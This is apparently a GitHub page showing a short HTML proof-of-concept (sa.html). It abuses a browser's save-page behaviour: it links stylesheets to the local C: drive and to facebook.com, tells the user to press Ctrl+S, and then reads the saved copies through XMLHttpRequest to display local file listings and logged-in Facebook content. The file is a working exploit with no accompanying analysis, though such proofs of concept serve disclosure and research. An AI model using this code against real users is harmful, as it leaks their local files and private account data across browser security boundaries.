-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsa.html
33 lines (32 loc) · 1.11 KB
/
sa.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<html>
<head>
<title>POC</title>
<link rel="stylesheet" href="file:///C://" />
<link rel="stylesheet" href="https://www.facebook.com/" />
</head>
<body>
<textarea style="width: 434px; height: 310px;" id="facebook"></textarea>
<textarea style="width: 434px; height: 310px;" id="files"></textarea>
<script type="application/javascript">
var doQ = (q) => { //Simple XMLHttpRequest
try {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", function(e) {
console.dir(e)
});
oReq.open("GET", q, false);
oReq.send();
} catch (e) {
alert('File not found or restricted.')
};
return oReq.response;
};
if (location.protocol == 'file:') {
facebook.value = doQ('./POC_files/a.htm');
files.value = doQ('./POC_files/a');
} else {
alert('Please hit CTRL+S and save this page first then open it locally.');
}
</script>
</body>
</html>